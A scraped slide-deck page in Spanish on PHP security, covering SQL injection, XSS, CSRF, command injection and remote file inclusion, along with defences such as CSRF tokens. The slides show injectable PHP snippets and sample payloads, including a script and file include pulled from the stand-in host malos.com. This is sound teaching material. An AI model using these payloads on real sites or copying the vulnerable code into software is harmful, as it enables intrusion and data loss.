Mais conteúdo relacionado Semelhante a Seguridad en PHP (es) (20) Mais de Carlos Campderrós (7) Seguridad en PHP (es)7. El usuario puede modificar fácilmente el id de producto a visualizar, y poner, en vez de un número, cualquier otra cosa 20. $sql = "SELECT * FROM usuarios WHERE username='{$_POST['username']}' AND password='{$_POST['password']}'"; 25. Query generado: $sql = "SELECT * FROM usuarios WHERE username='' OR id=1 -- ' AND password='blabla'" 38. Posibilidades enormes para un atacante, la más habitual insertar un <iframe> o <script> que cargue una página/script con código malévolo 39. XSS ataca a los usuarios de la web, no a la web en si misma (habitualmente) 42. En caso que no pueda, igualmente podemos (bueno, nuestros usuarios) estar jodidos: vulnerable.php?id=<script src="http://malos.com/script.js"> </script> 48. En otra ventana del navegador, visita http://malos.com/, donde hay este código: <img src="http://mipagina.com/logout.php" /> 49. Esto provoca que el navegador del usuario lance una petición a mipagina.com/logout.php, que parece legítima, y desloguea al usuario 51. El caso del logout es más o menos inofensivo, aunque molesto 55. En la siguiente petición que haya, comprobar la existencia de dicho token (que se habrá enviado en la url o mediante un input hidden) 56. Si existe y es el mismo que el de la sesión, todo correcto: procesamos la petición 57. Si no existe o es diferente: posible ataque. No hacemos nada 61. El código de listar.php incluye: $comando = "ls ".$_GET['carpeta']; echo exec($comando); 64. 2 comandos! listar el contenido de la carpeta imágenes... y luego borrar todos los archivos del disco duro! 68. Qué pasa si un atacante accede a index.php?pagina=http://malos.com/script 72. Poner un ./ al inicio del require (de esta forma se intentaría incluir './http://malos.com/script.php', y fallaría